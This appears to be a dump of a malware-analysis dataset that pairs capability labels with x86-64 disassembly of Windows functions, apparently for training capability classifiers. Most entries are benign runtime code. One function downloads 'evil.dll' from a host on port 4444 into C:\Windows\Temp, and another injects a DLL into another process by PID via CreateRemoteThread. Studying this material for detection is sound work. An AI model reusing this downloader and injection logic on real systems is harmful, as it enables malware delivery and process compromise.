joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4026c0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4026d0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4026e0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402721
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402718
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402723
add rax, 0x28
cmp rax, r9
jne 0x402704
xor eax, eax
ret

Function at 0x4027c0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404340]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40282d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40282d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40282d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402824
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40282f
add rax, 0x28
cmp rax, r9
jne 0x402810
xor eax, eax
add rsp, 0x28
ret

Function at 0x402930
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404340]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402950
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402948
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4029ad
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4029a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4029b4
add rax, 0x28
cmp rax, r9
jne 0x402990
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x4029d0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00404340]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402a3e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402a3e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402a3e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402a3e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402a35
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402a45
add rcx, 0x28
cmp rcx, rax
jne 0x402a20
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402a58
jmp 0x402a3e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402a66
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402a3e
test r9d, r9d
jg 0x402a50
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x402ca0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x40adb0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.004119e0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.004119e0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x40ae20
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x0041c0c4]
mov r12, rcx
test ebx, ebx
jle 0x40af50
mov rax, qword [0x0041c0c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x40ae6c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x40aef3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x40ae50
mov rcx, r12
call fcn.0040b7d0
mov rsi, rax
test rax, rax
je 0x40af72
mov rax, qword [0x0041c0c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.0040b900
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0041c0c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40af57
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x40aeec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x40af00
add dword [0x0041c0c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x0041c0c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40aeec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.0040adb0
nop dword [rax]
xor ebx, ebx
jmp 0x40ae77
mov rax, qword [0x0041c0c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.0040adb0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.0040adb0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x40b440
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0041c120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0041c100]
test rbx, rbx
je 0x40b494
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x40b48b
test r12, r12
je 0x40b48b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40b470
lea rcx, [0x0041c120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x40b7d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x00418730]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x40b7f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x40b7f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x40b7f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x40b845
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x40b83c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40b7f0
add rax, 0x28
cmp rax, r9
jne 0x40b828
xor eax, eax
ret

Function at 0x40b850
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x00418730]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x40b870
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x40b878
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x40b870
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x40b900
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x00418730]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x40b920
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x40b928
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x40bb50
Capabilities:
Allocate thread local storage

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov eax, dword [0x0041c108]
mov edi, ecx
mov rsi, rdx
test eax, eax
jne 0x40b4d0
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov edx, 0x18
mov ecx, 1
call sub.msvcrt.dll_calloc
mov rbx, rax
test rax, rax
je 0x40b523
mov dword [rax], edi
lea rcx, [0x0041c120]
mov qword [rax + 8], rsi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x0041c100]
lea rcx, [0x0041c120]
mov qword [0x0041c100], rbx
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
or eax, 0xffffffff
jmp 0x40b4c6
push r12
push rbx
sub rsp, 0x28
mov rbx, rcx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ecx, eax
cmp eax, 0xffffffff
je 0x40bb80
mov rdx, r12
mov dword [rbx], eax
add rsp, 0x28
pop rbx
pop r12
jmp 0x411c80
add rsp, 0x28
pop rbx
pop r12
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
test rdx, rdx
jne 0x411c90
xor eax, eax
ret
jmp 0x40b4b0

Function at 0x40bbc0
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
sub rsp, 0x28
mov r12d, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, r12d
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, r13d
mov r12, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, r12
add rsp, 0x28
pop r12
pop r13
ret

Function at 0x40bc00
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x40bc18
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x411cf0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Mozilla_5.0
mov dword [rsp + 0x20], 0
lea rbp, [rsp + 0x48]
lea rsi, [rsp + 0x4c]
call qword [sym.imp.WININET.dll_InternetOpenA]
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__192.168.1.55:4444_evil.dll
mov rcx, rax
mov dword [rsp + 0x20], 0
mov r15, rax
mov qword [rsp + 0x28], 0
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [rsp + 0x28], pe_nt_image_headers64
xor r9d, r9d
mov r8d, 1
mov dword [rsp + 0x20], 4
mov r13, rax
mov edx, 0xc0000000
lea rcx, str.C:WindowsTempevil.dll
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, qword [sym.imp.WININET.dll_InternetReadFile]
mov rbx, qword [sym.imp.KERNEL32.dll_WriteFile]
mov r14, rax
nop dword [rax]
mov ecx, 0x401
call fcn.00413670
mov r9, rbp
mov r8d, 0x400
mov rcx, r13
mov r12, rax
mov rdx, rax
mov qword [rax], 0
call rdi
mov r8d, dword [rsp + 0x48]
mov r9, rsi
mov rdx, r12
mov qword [rsp + 0x20], 0
mov rcx, r14
call rbx
mov rcx, r12
call fcn.00413640
mov eax, dword [rsp + 0x48]
test eax, eax
jne 0x411da0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call rbx
mov rcx, r15
call rbx
xor eax, eax
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x413d60
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x40
mov r12, rdx
call fcn.0040ab90
lea rcx, str.Kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.LoadLibraryA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
call fcn.00411cf0
mov rcx, qword [r12 + 8]
call sub.msvcrt.dll_atoi
test eax, eax
je 0x413e5d
mov rcx, qword [r12 + 8]
call sub.msvcrt.dll_atoi
lea rcx, str.PID:__i_n
mov edx, eax
call fcn.00411ca0
mov rcx, qword [r12 + 8]
call sub.msvcrt.dll_atoi
xor edx, edx
mov ecx, 0x1f0fff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [0x004151d0]
xor edx, edx
mov r9d, 0x3000
mov r12, rax
mov rcx, rax
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [0x004151d0]
lea r8, [0x004151b0]
mov rcx, r12
mov qword [rsp + 0x20], 0
mov rbx, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, r12
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop r12
ret
lea rcx, str.PID_not_found_:__exiting..._n
call fcn.00411ca0
or eax, 0xffffffff
jmp 0x413e54
Function at 0x140005ff0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rcx, qword [rcx + 8]
jmp fcn.140114f10

Function at 0x14002a580
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x14002a5b4
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x14002a5a0
ret
Function at 0x1400935b0
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
movdqa xmm2, xmmword [0x1401e6c70]
lea r9, [rcx + rdx]
movdqa xmm3, xmmword [0x1401e6c20]
movdqa xmm4, xmmword [0x1401e6c90]
movdqa xmm5, xmmword [0x1401e6bc0]
cmp rcx, r9
jae 0x140093604
add rcx, 0x20
nop dword [rax]
aesenc xmm2, xmmword [rcx - 0x20]
aesdec xmm3, xmmword [rcx - 0x10]
aesenc xmm4, xmmword [rcx]
aesdec xmm5, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x40]
lea rax, [rcx - 0x20]
cmp rax, r9
jb 0x1400935e0
movdqa xmm0, xmmword [0x1401e6b10]
movdqa xmm1, xmmword [0x1401e6ca0]
aesenc xmm2, xmm0
aesdec xmm3, xmm0
aesenc xmm2, xmm1
movdqu xmmword [r8], xmm2
aesenc xmm4, xmm0
aesdec xmm3, xmm1
movdqu xmmword [r8 + 0x10], xmm3
aesdec xmm5, xmm0
aesenc xmm4, xmm1
aesdec xmm5, xmm1
movdqu xmmword [r8 + 0x20], xmm4
movdqu xmmword [r8 + 0x30], xmm5
ret
Function at 0x140095cd0
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
push rbx
sub rsp, 0x60
movdqu xmm0, xmmword [r9]
mov rbx, r8
movdqu xmm1, xmmword [r9 + 0x10]
lea r8, [rdx - 0x1000]
movdqa xmm2, xmmword [0x1401e6c70]
mov r11, r9
movdqa xmm3, xmmword [0x1401e6c20]
mov r10, rcx
movdqa xmm4, xmmword [0x1401e6c90]
mov rax, rcx
movdqa xmm5, xmmword [0x1401e6bc0]
add r8, rcx
movaps xmmword [rsp + 0x50], xmm6
mov edx, 2
movdqu xmm6, xmmword [r9 + 0x20]
movaps xmmword [rsp + 0x40], xmm7
movdqu xmm7, xmmword [r9 + 0x30]
lea r9, [rcx + 0x1000]
movaps xmmword [rsp + 0x30], xmm8
movdqa xmm8, xmmword [0x1401e6c40]
movaps xmmword [rsp + 0x20], xmm9
movdqa xmm9, xmmword [0x1401e6b40]
movaps xmmword [rsp + 0x10], xmm10
movdqa xmm10, xmmword [0x1401e6b80]
movaps xmmword [rsp], xmm11
movdqa xmm11, xmmword [0x1401e6b90]
cmp rax, r8
jae 0x140095dd2
lea rcx, [rax + 0x20]
sub r9, rax
aesenc xmm2, xmmword [rax]
aesdec xmm3, xmmword [rcx - 0x10]
aesenc xmm4, xmmword [rcx]
aesdec xmm5, xmmword [rcx + 0x10]
aesdec xmm0, xmm8
movdqu xmmword [rax], xmm0
aesenc xmm1, xmm9
movdqu xmmword [rcx - 0x10], xmm1
aesdec xmm6, xmm10
aesenc xmm7, xmm11
movdqu xmmword [rcx], xmm6
movdqu xmmword [rcx + 0x10], xmm7
prefetcht0 byte [r9 + rax]
add rax, 0x40
lea rcx, [rcx + 0x40]
cmp rax, r8
jb 0x140095d80
add r8, 0x1000
mov r9, r10
sub rdx, 1
jne 0x140095d74
movaps xmm8, xmmword [rsp + 0x30]
movaps xmm9, xmmword [rsp + 0x20]
movaps xmm10, xmmword [rsp + 0x10]
movaps xmm11, xmmword [rsp]
movdqu xmmword [r11], xmm0
movdqa xmm0, xmmword [0x1401e6b10]
movdqu xmmword [r11 + 0x10], xmm1
movdqa xmm1, xmmword [0x1401e6ca0]
movdqu xmmword [r11 + 0x20], xmm6
movaps xmm6, xmmword [rsp + 0x50]
movdqu xmmword [r11 + 0x30], xmm7
movaps xmm7, xmmword [rsp + 0x40]
aesenc xmm2, xmm0
aesdec xmm3, xmm0
aesenc xmm2, xmm1
movdqu xmmword [rbx], xmm2
aesenc xmm4, xmm0
aesdec xmm3, xmm1
movdqu xmmword [rbx + 0x10], xmm3
aesdec xmm5, xmm0
aesenc xmm4, xmm1
aesdec xmm5, xmm1
movdqu xmmword [rbx + 0x20], xmm4
movdqu xmmword [rbx + 0x30], xmm5
add rsp, 0x60
pop rbx
ret
Function at 0x140097f00
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
sub rsp, 0x28
mov rax, qword [rcx + 0x11f0]
mov ecx, dword [0x14024b1f0]
movdqa xmm4, xmmword [0x1401e6c40]
add rcx, rax
movdqa xmm5, xmmword [0x1401e6b40]
movdqu xmm0, xmmword [rdx]
movdqu xmm1, xmmword [rdx + 0x10]
movdqu xmm2, xmmword [rdx + 0x20]
movdqu xmm3, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x10], xmm6
movdqa xmm6, xmmword [0x1401e6b80]
movaps xmmword [rsp], xmm7
movdqa xmm7, xmmword [0x1401e6b90]
cmp rax, rcx
jae 0x140097f90
nop word [rax + rax]
aesdec xmm0, xmm4
movdqu xmmword [rax], xmm0
aesenc xmm1, xmm5
movdqu xmmword [rax + 0x10], xmm1
aesdec xmm2, xmm6
movdqu xmmword [rax + 0x20], xmm2
aesenc xmm3, xmm7
movdqu xmmword [rax + 0x30], xmm3
add rax, 0x40
cmp rax, rcx
jb 0x140097f60
movaps xmm6, xmmword [rsp + 0x10]
movaps xmm7, xmmword [rsp]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx + 0x20], xmm2
movdqu xmmword [rdx + 0x30], xmm3
add rsp, 0x28
ret

Function at 0x140098070
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
sub rsp, 0x68
mov eax, dword [0x14024b1f4]
add rcx, 0x40
movdqa xmm4, xmmword [0x14024b280]
movdqa xmm5, xmmword [0x14024b290]
movdqu xmm0, xmmword [rdx]
movdqu xmm1, xmmword [rdx + 0x10]
lea r8d, [rax*8 + 0x80]
movdqu xmm2, xmmword [rdx + 0x20]
add r8, rcx
movdqu xmm3, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x50], xmm6
movdqa xmm6, xmmword [0x14024b2a0]
movaps xmmword [rsp + 0x40], xmm7
movdqa xmm7, xmmword [0x14024b2b0]
movaps xmmword [rsp + 0x30], xmm8
movdqa xmm8, xmmword [0x14024b2c0]
movaps xmmword [rsp + 0x20], xmm9
movdqa xmm9, xmmword [0x14024b2d0]
movaps xmmword [rsp + 0x10], xmm10
movdqa xmm10, xmmword [0x14024b2e0]
movaps xmmword [rsp], xmm11
movdqa xmm11, xmmword [0x14024b2f0]
cmp rcx, r8
jae 0x140098184
nop word [rax + rax]
aesdec xmm0, xmm4
aesenc xmm1, xmm4
aesdec xmm2, xmm8
aesenc xmm3, xmm8
aesdec xmm0, xmm5
aesenc xmm1, xmm5
aesdec xmm2, xmm9
aesenc xmm3, xmm9
aesdec xmm0, xmm6
aesenc xmm1, xmm6
aesdec xmm0, xmm7
movdqu xmmword [rcx], xmm0
aesdec xmm2, xmm10
aesenc xmm1, xmm7
movdqu xmmword [rcx + 0x10], xmm1
aesenc xmm3, xmm10
aesdec xmm2, xmm11
movdqu xmmword [rcx + 0x20], xmm2
aesenc xmm3, xmm11
movdqu xmmword [rcx + 0x30], xmm3
add rcx, 0x40
cmp rcx, r8
jb 0x140098110
movaps xmm6, xmmword [rsp + 0x50]
movaps xmm7, xmmword [rsp + 0x40]
movaps xmm8, xmmword [rsp + 0x30]
movaps xmm9, xmmword [rsp + 0x20]
movaps xmm10, xmmword [rsp + 0x10]
movaps xmm11, xmmword [rsp]
add rsp, 0x68
ret
Function at 0x14009d9e0
Capabilities:
Log keystrokes
Manipulate console buffer

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [0x1402151f8]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rbx, rcx
mov ecx, dword [rcx + 0x58]
btr ecx, 0xc
mov eax, ecx
sub dword [rbx + 0x7c], 1
mov dword [rbx + 0x58], ecx
jne 0x14009da2b
test cl, 1
jne 0x14009da2b
test cl, 4
je 0x14009da2b
and eax, 0xfffffffb
mov dword [rbx + 0x58], eax
test al, 8
je 0x14009da2b
mov rax, qword [rbx + 8]
dec dword [rax + 8]
mov eax, dword [rbx + 0x58]
mov qword [rsp + 0xb0], rsi
mov qword [rsp + 0x88], rdi
bt eax, 0x10
jae 0x14009dbd6
bt eax, 0x19
jae 0x14009da93
mov rcx, qword [rbx + 0x110]
lea r9, [rsp + 0x40]
xor eax, eax
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], eax
mov eax, select
mov word [rsp + 0x60], ax
lea r8d, [rax - 0xf]
call qword [sym.imp.KERNEL32.DLL_WriteConsoleInputW]
test eax, eax
jne 0x14009dbd6
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x14009dbd8
bt eax, 0x15
jb 0x14009dbd6
mov rcx, qword [0x140257080]
mov edx, 0xffffffff
xor edi, edi
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
jne 0x14009dbfe
mov eax, 2
xchg dword [0x140257060], eax
cmp eax, 1
je 0x14009dae9
mov rcx, qword [0x140257080]
lea edx, [rdi + 1]
xor r8d, r8d
call qword [sym.imp.KERNEL32.DLL_ReleaseSemaphore]
test eax, eax
je 0x14009dbfe
jmp 0x14009dbcf
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0xa8], rbp
lea rcx, str.conout_
mov dword [rsp + 0x28], 0x80
mov edx, 0xc0000000
mov qword [rsp + 0x80], r14
lea r8d, [r9 + 3]
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.DLL_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x14009db4c
lea rdx, [0x140257068]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetConsoleScreenBufferInfo]
test eax, eax
je 0x14009db4c
lock or dword [0x140257064], 1
mov esi, 1
mov dword [rsp + 0x50], 0xd0001
mov r14d, reloc.WS2_32.dll_listen
mov word [rsp + 0x48], si
mov ecx, r14d
mov dword [rsp + 0x4c], esi
xor edx, edx
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov rcx, qword [rbx + 0x110]
lea r9, [rsp + 0x44]
mov r8d, esi
mov word [rsp + 0x54], ax
lea rdx, [rsp + 0x48]
mov word [rsp + 0x56], r14w
mov dword [rsp + 0x58], edi
call qword [sym.imp.KERNEL32.DLL_WriteConsoleInputW]
mov r14, qword [rsp + 0x80]
test eax, eax
jne 0x14009dbb0
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edi, eax
cmp rbp, 0xffffffffffffffff
je 0x14009dbbf
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rbp, qword [rsp + 0xa8]
test edi, edi
je 0x14009dbcf
mov eax, edi
jmp 0x14009dbd8
or dword [rbx + 0x58], 0x200000
xor eax, eax
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400cc030
add rsp, 0x90
pop rbx
ret
call fcn.1400f4acc
int3
Function at 0x14009dc60
Capabilities:
Manipulate console buffer

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x1402151f8]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov r14, qword [rsp + 0xb8]
mov esi, r9d
movzx ebp, r8b
mov edi, edx
mov rbx, rcx
cmp dword [r14], 0
je 0x14009dc9e
mov eax, 0xffffffff
jmp 0x14009ddc7
mov qword [rsp + 0x58], r12
xor r12d, r12d
mov qword [rsp + 0x50], r15
movzx r15d, byte [rsp + 0xb0]
mov rcx, qword [rbx + 0x110]
lea rdx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.DLL_GetConsoleScreenBufferInfo]
test eax, eax
jne 0x14009dcd3
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [r14], eax
movsx eax, word [rsp + 0x34]
mov edx, edi
movsx r8d, word [rsp + 0x38]
movsx r11d, word [rsp + 0x28]
sub r8d, eax
mov eax, dword [0x14021679c]
inc r8d
movsx r9d, word [rsp + 0x2e]
mov dword [0x14021688c], r11d
mov dword [0x1402167c4], r8d
cmp eax, 0xffffffff
jne 0x14009dd10
mov eax, r9d
jmp 0x14009dd1d
mov ecx, r9d
sub ecx, r8d
inc ecx
cmp eax, ecx
cmovl eax, ecx
movsx r10d, word [rsp + 0x2a]
lea ecx, [r8 + rax]
cmp ecx, r10d
jle 0x14009dd32
mov eax, r10d
sub eax, r8d
test eax, eax
lea ecx, [r9 + rsi]
cmovs eax, r12d
mov dword [0x14021679c], eax
test r15b, r15b
jne 0x14009dd4a
lea ecx, [rax + rsi]
cmp ecx, eax
jge 0x14009dd52
mov ecx, eax
jmp 0x14009dd5f
lea r9d, [r8 + rax]
cmp ecx, r9d
jl 0x14009dd5f
lea ecx, [r9 - 1]
test bpl, bpl
je 0x14009dd6b
movsx edx, word [rsp + 0x2c]
add edx, edi
test edx, edx
jns 0x14009dd74
mov edx, r12d
jmp 0x14009dd7d
cmp edx, r11d
jl 0x14009dd7d
lea edx, [r11 - 1]
mov word [rsp + 0x22], cx
mov rcx, qword [rbx + 0x110]
mov word [rsp + 0x20], dx
mov edx, dword [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_SetConsoleCursorPosition]
test eax, eax
jne 0x14009ddbb
call qword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x57
